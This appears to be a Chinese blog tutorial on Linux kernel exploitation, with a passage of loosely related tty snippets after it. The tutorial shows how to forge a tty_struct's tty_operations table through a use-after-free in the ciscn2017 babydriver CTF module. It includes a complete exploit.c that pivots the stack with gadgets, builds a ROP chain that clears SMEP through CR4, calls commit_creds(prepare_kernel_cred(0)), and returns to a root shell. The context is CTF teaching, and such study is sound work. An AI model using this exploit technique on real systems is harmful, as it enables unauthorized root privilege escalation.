精华内容
下载资源
问答
  • Linux Kernel伪造tty_struct执行任意函数 当用户打开ptmx驱动时,会分配一个tty_struct结构,它的结构如下 structtty_struct{ intmagic; structkrefkref; structdevice*dev; structtty_driver*driver; ...

    Linux Kernel伪造tty_struct执行任意函数

    当用户打开ptmx驱动时,会分配一个tty_struct结构,它的结构如下

    1. struct tty_struct {  
    2.     int magic;  
    3.     struct kref kref;  
    4.     struct device *dev;  
    5.     struct tty_driver *driver;  
    6.     const struct tty_operations *ops;  
    7.     int index;  
    8.     /* Protects ldisc changes: Lock tty not pty */  
    9.     struct ld_semaphore ldisc_sem;  
    10.     struct tty_ldisc *ldisc;  
    11.     struct mutex atomic_write_lock;  
    12.     struct mutex legacy_mutex;  
    13.     struct mutex throttle_mutex;  
    14.     struct rw_semaphore termios_rwsem;  
    15.     struct mutex winsize_mutex;  
    16.     spinlock_t ctrl_lock;  
    17.     spinlock_t flow_lock;  
    18.     /* Termios values are protected by the termios rwsem */  
    19.     struct ktermios termios, termios_locked;  
    20.     struct termiox *termiox;    /* May be NULL for unsupported */  
    21.     char name[64];  
    22.     struct pid *pgrp;       /* Protected by ctrl lock */  
    23.     struct pid *session;  
    24.     unsigned long flags;  
    25.     int count;  
    26.     struct winsize winsize;     /* winsize_mutex */  
    27.     unsigned long stopped:1,    /* flow_lock */  
    28.               flow_stopped:1,  
    29.               unused:BITS_PER_LONG - 2;  
    30.     int hw_stopped;  
    31.     unsigned long ctrl_status:8,    /* ctrl_lock */  
    32.               packet:1,  
    33.               unused_ctrl:BITS_PER_LONG - 9;  
    34.     unsigned int receive_room;  /* Bytes free for queue */  
    35.     int flow_change;  
    36.     struct tty_struct *link;  
    37.     struct fasync_struct *fasync;  
    38.     wait_queue_head_t write_wait;  
    39.     wait_queue_head_t read_wait;  
    40.     struct work_struct hangup_work;  
    41.     void *disc_data;  
    42.     void *driver_data;  
    43.     spinlock_t files_lock;      /* protects tty_files list */  
    44.     struct list_head tty_files;  
    45. #define N_TTY_BUF_SIZE 4096  
    46.     int closing;  
    47.     unsigned char *write_buf;  
    48.     int write_cnt;  
    49.     /* If the tty has a pending do_SAK, queue it here - akpm */  
    50.     struct work_struct SAK_work;  
    51.     struct tty_port *port;  
    52. } __randomize_layout;  

    其中有一个const struct tty_operations *ops指针,它是一个tty_operations指针,而tty_operations结构体里是一些列对驱动操作的函数指针。

    1. struct tty_operations {  
    2.     struct tty_struct * (*lookup)(struct tty_driver *driver,  
    3.             struct file *filp, int idx);  
    4.     int  (*install)(struct tty_driver *driver, struct tty_struct *tty);  
    5.     void (*remove)(struct tty_driver *driver, struct tty_struct *tty);  
    6.     int  (*open)(struct tty_struct * tty, struct file * filp);  
    7.     void (*close)(struct tty_struct * tty, struct file * filp);  
    8.     void (*shutdown)(struct tty_struct *tty);  
    9.     void (*cleanup)(struct tty_struct *tty);  
    10.     int  (*write)(struct tty_struct * tty,  
    11.               const unsigned char *buf, int count);  
    12.     int  (*put_char)(struct tty_struct *tty, unsigned char ch);  
    13.     void (*flush_chars)(struct tty_struct *tty);  
    14.     int  (*write_room)(struct tty_struct *tty);  
    15.     int  (*chars_in_buffer)(struct tty_struct *tty);  
    16.     int  (*ioctl)(struct tty_struct *tty,  
    17.             unsigned int cmd, unsigned long arg);  
    18.     long (*compat_ioctl)(struct tty_struct *tty,  
    19.                  unsigned int cmd, unsigned long arg);  
    20.     void (*set_termios)(struct tty_struct *tty, struct ktermios * old);  
    21.     void (*throttle)(struct tty_struct * tty);  
    22.     void (*unthrottle)(struct tty_struct * tty);  
    23.     void (*stop)(struct tty_struct *tty);  
    24.     void (*start)(struct tty_struct *tty);  
    25.     void (*hangup)(struct tty_struct *tty);  
    26.     int (*break_ctl)(struct tty_struct *tty, int state);  
    27.     void (*flush_buffer)(struct tty_struct *tty);  
    28.     void (*set_ldisc)(struct tty_struct *tty);  
    29.     void (*wait_until_sent)(struct tty_struct *tty, int timeout);  
    30.     void (*send_xchar)(struct tty_struct *tty, char ch);  
    31.     int (*tiocmget)(struct tty_struct *tty);  
    32.     int (*tiocmset)(struct tty_struct *tty,  
    33.             unsigned int set, unsigned int clear);  
    34.     int (*resize)(struct tty_struct *tty, struct winsize *ws);  
    35.     int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);  
    36.     int (*get_icount)(struct tty_struct *tty,  
    37.                 struct serial_icounter_struct *icount);  
    38.     void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);  
    39. #ifdef CONFIG_CONSOLE_POLL  
    40.     int (*poll_init)(struct tty_driver *driver, int line, char *options);  
    41.     int (*poll_get_char)(struct tty_driver *driver, int line);  
    42.     void (*poll_put_char)(struct tty_driver *driver, int line, char ch);  
    43. #endif  
    44.     int (*proc_show)(struct seq_file *, void *);  
    45. } __randomize_layout;  

    比如,我们对ptmx驱动进行write操作时,就会调用这个里面的write指针指向的函数。也就是,我们如果能伪造tty_operations结构体,将里面的指针指向我们需要执行的函数。然后将tty_struct结构体里的const struct tty_operations *ops指针指向我们伪造的tty_operations结构体,然后对驱动执行对应的操作,比如write,就能触发函数的执行。tty_struct结构体,我们可以通过漏洞来控制,然后修改指针。这种思想,就如同是glibc下的house of orange,house of orange是伪造vtable表,而我们这里,同样是伪造函数表。为了加深理解,我们以ciscn2017_babydriver为例,之前,我们利用UAF修改了cred结构,这次,我们用同样的方法,修改tty_struct结构。

    ciscn2017_babydriver

    阅读对应版本的linux内核源码,我们发现,tty_struct结构体的大小为0x2E0。为了实现执行的目的,我们可以利用ROP,但是本题没有栈溢出,我们可以伪造tty_operations里面对应的函数的来将栈转移到我们可以控制的地方。为了清楚对应的函数被调用前的各个寄存器的值,以方便我们后续的分析,我们先将tty_operations[7]伪造为babydriver里的babyread函数的地址。查看结构体,tty_operations[7]也就是对驱动进行write操作时的处理函数的指针。我们现在把它伪造指向了babyread,然后利用gdb调试,对ptmx驱动执行write操作,在babyread函数前断点。

    1. for (int i=0;i<35;i++) {  
    2.    fake_tty_operations[i] = 0xffffffffc0000000 + i;  
    3. }  
    4. fake_tty_operations[7] = 0xffffffffc0000130;  //babyread的函数地址

    然后,执行exp,在babyread下断了下来,我们查看各个寄存器的值,发现rax正好指向我们的fake_tty_operations,

    因此,我们只需要把fake_tty_operations[7]伪造成gadgets

    1. mov rsp,rax;  
    2. ...........  
    3. ret  

    这样,我们对驱动执行write操作时,就能够将栈转移到我们用户的fake_tty_operations空间里,我们在这里面再布置一个栈转移的gadgets,将栈最终转移到我们的rop数组里,执行rop。

    完成这些以后,就是常规ROP操作了。我们最终的exploit.c程序

    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <fcntl.h>
    #include <sys/ioctl.h>
    
    //tty_struct结构体的大小
    #define TTY_STRUCT_SIZE 0x2E0
    //mov cr4, rdi ; pop rbp ; ret
    #define MOV_CR4_RDI 0xffffffff81004d80
    //pop rdi ; ret
    #define POP_RDI 0xffffffff810d238d
    //swapgs ; pop rbp ; ret
    #define SWAPGS 0xffffffff81063694
    //iretq
    #define IRETQ 0xFFFFFFFF8181A797
    //commit_creds函数
    #define COMMIT_CREDS 0xffffffff810a1420
    // prepare_kernel_cred
    #define PREPARE_KERNEL_CRED 0xffffffff810a1810
    //mov rsp, rax;dec ebx;ret,做栈迁移用
    #define MOV_RSP_RAX 0xFFFFFFFF8181BFC5
    #define POP_RAX 0xffffffff8100ce6e
    
    void getRoot() {
       //函数指针
       void *(*pkc)(int) = (void *(*)(int))PREPARE_KERNEL_CRED;
       void (*cc)(void *) = (void (*)(void *))COMMIT_CREDS;
       //commit_creds(prepare_kernel_cred(0))
       (*cc)((*pkc)(0));
    }
    
    void getShell() {
       if (getuid() == 0) {
          printf("[+]Rooted!!\n");
          system("/bin/sh");
       } else {
          printf("[+]Root Fail!!\n");
       }
    }
    
    size_t user_cs,user_ss,user_flags,user_sp;
    
    /*保存用户态的寄存器到变量里*/
    void saveUserState() {
       __asm__("mov %cs,user_cs;"
               "mov %ss,user_ss;"
               "mov %rsp,user_sp;"
               "pushf;"
               "pop user_flags;"
               );
      puts("user states have been saved!!");
    }
    
    int main() {
       //保存用户态寄存器
       saveUserState();
       int fd1 = open("/dev/babydev",O_RDWR);
       int fd2 = open("/dev/babydev",O_RDWR);
       if (fd1 < 0 || fd2 < 0) {
          printf("open file error!!\n");
          exit(-1);
       }
       //申请一个tty_struct大小的堆
       ioctl(fd1,0x10001,TTY_STRUCT_SIZE);
       //释放这个堆
       close(fd1);
       size_t rop[0x100];
       int i = 0;
       rop[i++] = POP_RDI;
       rop[i++] = 0x6f0;
       rop[i++] = MOV_CR4_RDI;
       rop[i++] = 0;
       rop[i++] = (size_t)getRoot;
       rop[i++] = SWAPGS;
       rop[i++] = 0;
       rop[i++] = IRETQ;
       rop[i++] = (size_t)getShell;
       rop[i++] = user_cs;
       rop[i++] = user_flags;
       rop[i++] = user_sp;
       rop[i++] = user_ss;
    
       size_t fake_tty_operations[35];
       /*for (int i=0;i<35;i++) {
          fake_tty_operations[i] = 0xffffffffc0000000 + i;
       }*/
       //这个位置是write函数的指针,经过调试,我们发现当调用这个函数时,rax正好是fake_tty_operation的地址,于是,我们把栈转移到
       //fake_tty_operations里
       fake_tty_operations[7] = MOV_RSP_RAX;
       //栈转移到fake_tty_operations里后,我们继续做一次转移,把转转移到我们的rop数组里,执行ROP
       fake_tty_operations[0] = POP_RAX;
       fake_tty_operations[1] = (size_t)rop;
       fake_tty_operations[2] = MOV_RSP_RAX;
    
       size_t fake_tty_struct[4];
       //这个操作会申请tty_struct的空间,也就是会申请到我们之前释放的那个堆里,我们可以用fd2来对它操作
       int fd_tty = open("/dev/ptmx", O_RDWR);
       //我们先把原始的tty_struct前面的数据读出来,存储
       read(fd2,fake_tty_struct,4*8);
       //修改const struct tty_operations *ops;指针,指向我们伪造的tty_operations
       fake_tty_struct[3] = (size_t)fake_tty_operations;
       //把篡改过的tty_struct写回去
       write(fd2,fake_tty_struct,4*8);
       char buf[0x10];
       write(fd_tty,buf,0x10);
       return 0;
    }
    

    展开全文
  • tty_struct数据结构

    千次阅读 2014-04-18 17:22:46
    tty_driver是在驱动中通过alloc_tty_driver函数分配的,这个进一步调用kzalloc来申请内存,...因为到时候open的时候,会初始化tty_struct,而tty_struct中的部分值是根据tty_driver中的flags来初始化的! str

    tty_driver是在驱动中通过alloc_tty_driver函数分配的,这个进一步调用kzalloc来申请内存,所以分配到的内存都是已经初始化为0的了。

    所以tty_driver中的flags等未被赋值的都是0。这里需要注意!

    因为到时候open的时候,会初始化tty_struct,而tty_struct中的部分值是根据tty_driver中的flags来初始化的!


    struct tty_struct {
    	int	magic;
    	struct kref kref;
    	struct device *dev;
    	struct tty_driver *driver;
    	const struct tty_operations *ops;
    	int index;
    
    	/* Protects ldisc changes: Lock tty not pty */
    	struct mutex ldisc_mutex;
    	struct tty_ldisc *ldisc;
    
    	struct mutex termios_mutex;
    	spinlock_t ctrl_lock;
    	/* Termios values are protected by the termios mutex */
    	struct ktermios *termios, *termios_locked;
    	struct termiox *termiox;	/* May be NULL for unsupported */
    	char name[64];
    	struct pid *pgrp;		/* Protected by ctrl lock */
    	struct pid *session;
    	unsigned long flags;
    	int count;
    	struct winsize winsize;		/* termios mutex */
    	unsigned char stopped:1, hw_stopped:1, flow_stopped:1, packet:1; 
            stopped:tty的活动状态,stop_tty中赋1,start_tty中置0
    	unsigned char low_latency:1, warned:1, peer_stops:1;
    	unsigned char ctrl_status;	/* ctrl_lock */
    	unsigned int receive_room;	/* Bytes free for queue */
    
    	struct tty_struct *link;
    	struct fasync_struct *fasync;
    	struct tty_bufhead buf;		/* Locked internally */
    	int alt_speed;		/* For magic substitution of 38400 bps */
    	wait_queue_head_t write_wait;
    	wait_queue_head_t read_wait;
    	struct work_struct hangup_work;
    	void *disc_data;
    	void *driver_data;
    	struct list_head tty_files;
    
    #define N_TTY_BUF_SIZE 4096
    
    	/*
    	 * The following is data for the N_TTY line discipline.  For
    	 * historical reasons, this is included in the tty structure.
    	 * Mostly locked by the BKL.
    	 */
    	unsigned int column;
    	unsigned char lnext:1, erasing:1, raw:1, real_raw:1, icanon:1;
            raw:在n_tty_set_termios函数中根据tty_driver->termios.c_iflag等值初始化
            real_raw:当tty_driver->flags中设置为TTY_DRIVER_REAL_RAW时置1
            icanon:在tty_open函数中会调用到n_tty_set_termios,然后根据tty_driver->tty_drv->init_termios.c_lflag的值初始化icanon
    	unsigned char echo_overrun:1;
    	unsigned short minimum_to_wake;
    	unsigned long overrun_time;
    	int num_overrun;
    	unsigned long process_char_map[256/(8*sizeof(unsigned long))];
    	char *read_buf;
            存放驱动上传数据的buf首地址。
            int read_head;
    	int read_tail;
    	int read_cnt;
            read_buf中当前存放的数据字节数,在n_tty_receive_buf函数接收时增加,在copy_from_read_buf函数中读走后减小。
            unsigned long read_flags[N_TTY_BUF_SIZE/(8*sizeof(unsigned long))];
    	unsigned char *echo_buf;
    	unsigned int echo_pos;
    	unsigned int echo_cnt;
     	int canon_data;
    	unsigned long canon_head;
    	unsigned int canon_column;
    	struct mutex atomic_read_lock;
     	struct mutex atomic_write_lock;
    	struct mutex output_lock;
    	struct mutex echo_lock;
    	unsigned char *write_buf;
    	int write_cnt;
    	spinlock_t read_lock;
    	/* If the tty has a pending do_SAK, queue it here - akpm */
    	struct work_struct SAK_work;
    	struct tty_port *port;
    };
    
    
    
    


    展开全文
  • TTY之struct tty_ldisc

    2017-03-10 08:56:13
    struct tty_ldisc {  struct tty_ldisc_ops *... struct tty_struct *tty; };struct tty_ldisc_ops {  int magic;  char *name;  int num;  int flags; /*  * The following routines are called from ab
     

    struct tty_ldisc {  struct tty_ldisc_ops *ops;  struct tty_struct *tty; };

    struct tty_ldisc_ops {  int magic;  char *name;  int num;  int flags;

     /*   * The following routines are called from above.   */  int (*open)(struct tty_struct *);  void (*close)(struct tty_struct *);  void (*flush_buffer)(struct tty_struct *tty);  ssize_t (*read)(struct tty_struct *tty, struct file *file,    unsigned char __user *buf, size_t nr);  ssize_t (*write)(struct tty_struct *tty, struct file *file,     const unsigned char *buf, size_t nr);  int (*ioctl)(struct tty_struct *tty, struct file *file,     unsigned int cmd, unsigned long arg);  long (*compat_ioctl)(struct tty_struct *tty, struct file *file,     unsigned int cmd, unsigned long arg);  void (*set_termios)(struct tty_struct *tty, struct ktermios *old);  unsigned int (*poll)(struct tty_struct *, struct file *,         struct poll_table_struct *);  int (*hangup)(struct tty_struct *tty);

     /*   * The following routines are called from below.   */  void (*receive_buf)(struct tty_struct *, const unsigned char *cp,           char *fp, int count);  void (*write_wakeup)(struct tty_struct *);  void (*dcd_change)(struct tty_struct *, unsigned int);  int (*receive_buf2)(struct tty_struct *, const unsigned char *cp,     char *fp, int count);

     struct  module *owner;

     int refcount; };

     
    展开全文
  • TTY之struct tty_buffer

    2017-03-10 08:55:22
    struct tty_buffer {  union {  struct tty_buffer *next;  struct llist_node free;  };  int used;  int size;  int commit;  int read;  int flags;  /* Data points here */  unsigned long data[0
    struct tty_buffer {
     union {
      struct tty_buffer *next;
      struct llist_node free;
     };
     int used;
     int size;
     int commit;
     int read;
     int flags;
     /* Data points here */
     unsigned long data[0];
    };
     
    struct tty_bufhead {
     struct tty_buffer *head; /* Queue head */
     struct work_struct work;
     struct mutex    lock;
     atomic_t    priority;
     struct tty_buffer sentinel;
     struct llist_head free;  /* Free queue head */
     atomic_t    mem_used;    /* In-use buffers excluding free list */
     int     mem_limit;
     struct tty_buffer *tail; /* Active buffer */
    };
     
    展开全文
  • drivers/tty/tty_io.c /*  * Called by a tty driver to register itself. ...int tty_register_driver(struct tty_driver *driver) {  int error;  int i;  dev_t dev;  void **p = NULL;
  • struct tty_port

    2013-07-20 12:48:36
    include/linux/tty.h struct tty_port {  struct tty_struct *tty; /* Back pointer */  const struct tty_port_operations *ops; /* Port operations */  spinlock_t lock; 
  • tty_read和tty_write

    2019-01-29 17:36:48
    一、tty_read 对于tty_read这个函数,很多标志我也没有弄得太清楚,但是问题不大,以后有机会在看。我觉得重点是看数据怎么从...static ssize_t tty_read(struct file *file, char __user *buf, size_t count,  ...
  • struct tty_operations { struct tty_struct * (*lookup)(struct tty_driver *driver, struct inode *inode, int idx); //返回对应的tty设备, 若为NULL则返回ERR_PTR, 在tty_mutex函数中调用 ...
  • tty_operations

    2015-12-30 14:14:33
    struct tty_operations { struct tty_struct * (*lookup)(struct tty_driver *driver, struct inode *inode, int idx); //返回对应的tty设备, 若为NULL则返回ERR_PTR, 在tty_mutex函数中调用 //该项可选,默...
  • tty_write_mesage

    2013-08-22 18:12:00
    /* this routine was borrowed from <printk.c> */void tty_write_message1( struct tty_struct *tty, char *msg ){ if( tty && tty->driver->ops->write ) tty->d...
  • struct tty_driver

    2013-07-18 12:17:33
    include/linux/tty_driver.h ...struct tty_driver {  int magic; /* magic number for this structure */  struct kref kref; /* Reference management */  struct cdev cdev;  struc
  • 终端设备驱动之tty_write函数

    千次阅读 2012-05-11 11:07:38
    1、tty_write函数源码: static ssize_t tty_write(struct file * file, const char * buf, size_t count, loff_t *ppos) ...struct tty_struct * tty; struct inode *inode = file->f_dentry->d_ino
  • 终端设备驱动之tty_open函数

    千次阅读 2012-05-11 09:29:27
    《linux内核源代码情景分析》读书笔记。 tty_open函数源码: static int tty_open(struct inode * inode, ...调用此函数,为需要打开的终端设备建立一个(或找到其)tty_struct数据结构。每个已打开的终端设备都
  • extern int tty_buffer_request_room(struct tty_struct *tty, size_t size); extern int tty_insert_flip_string(struct tty_struct *tty, unsigned char *chars, size_t size); extern int tty...
  • 2.6.17 - 2.6.18 删除 struct tty_driver { const char *devfs_name; } 2.6.19 - 2.6.20 修改 ... void (*set_termios)(struct tty_struct *tty, struct termios * old); //改为 void (*set...
  • Linux 下串口驱动头文件之tty_flip.h

    千次阅读 2010-03-28 12:04:00
    linux-2.6.29/include/linux下tty_flip.h #ifndef _LINUX_TTY_FLIP_H#define _LINUX_TTY_FLIP_Hextern int tty_buffer_request_room(struct tty_struct *tty, size_t size);extern int tty_insert_flip_string
  • 从图14.2可以看出,特定tty设备驱动的主体工作是填充tty_driver结构体中的成员,...代码清单14.1 tty_driver结构体1struct tty_driver2 {3 int magic;4 struct cdev cdev; /*对应的字符设备cdev */5 struct module *...
  • 接上一篇,我们已经注册了一个tty设备驱动并且在/dev生成相应的设备节点,我们对...static const struct file_operations tty_fops = { .llseek = no_llseek, .read = tty_read, .write = tty_write, .poll ...
  • 0.11 tty_ioctl.c注释

    2011-05-09 14:46:00
    tt_ioctl在涉及到termios的结构操作时,用到了一个技巧,将结构体首地址强转为字符类型,通过put_fs_byte和get_fs_byte来进行赋值,还有verify_area()函数,在内核态...static int get_termios(struct tty_struct *
  • tty_operations结构体之uart_ops分析

    千次阅读 2018-11-15 23:22:30
    static const struct tty_operations uart_ops = { .open = uart_open, .close = uart_close, .write = uart_write, .put_char = uart_put_char,//单字符写入函数 .flush_chars = uart_flush_chars, .write...
  • 终端设备驱动之tty_read函数

    千次阅读 2012-05-11 10:34:36
    《linux内核源代码情景分析》读书笔记和网上找的资料。 大家都知道在具体的tty_driver结构中,没有read函数,那怎样进行读的呢? 看到上面的那个图,应该能大致...static ssize_t tty_read(struct file * file
  • 自旋锁是用于保护短的代码片段,其中只包含少量C语句,因此会很快执行完毕。大多数内核数据结构都有自身...struct task_struct { ... /* Protection of (de-)allocation: mm, files, fs, tty, keyrings */ spinlo...
  • task_struct的补充

    2017-02-18 21:21:30
    本文转自: http://blog.csdn.net/npy_lp/article/details/7335187 13、其他  (1)、用于保护资源分配或释放的自旋锁  .../* Protection of (de-)allocation: mm, files, fs, tty, keyring
  • struct tty_driver 中的 init_termios 变量是一个 struct termios. 这个变量被用来提供一个健全的线路设置集合, 如果这个端口在被用户初始化前使用. 驱动初始化这个变量使用一个标准的数值集, 它拷贝自 tty_std_...
  • TTYstruct console

    2017-03-27 08:01:17
    struct console {  char name[16];  void (*write)(struct console *, const char *, unsigned);  int (*read)(struct console *, char *, unsigned... struct tty_driver *(*device)(struct console *, int *);
  • tiny_tty模块在3.12.74内核编译时出现更多的错误以及兼容性问题,主要是新的内核要求tty驱动设置接口(struct tty_port),并且flip buffer与 tty_port 绑定到一起,而不是原来的 tty_struct。 一些错误可以参考...
  • 14_3_tty设备驱动

    2012-06-23 12:33:22
    linux内核中,提供了一组操作 tty_driver结构体 和 tty设备 的函数: 1.分配tty驱动: 该函数返回tty_driver指针,其参数为要分配...struct tty_driver *alloc_tty_driver(int lines) { struct tty_driver *dri
  • 'struct tty_struct' have no member named 'flip' 的解决办法

空空如也

空空如也

1 2 3 4 5 ... 19
收藏数 362
精华内容 144
热门标签
关键字:

tty_struct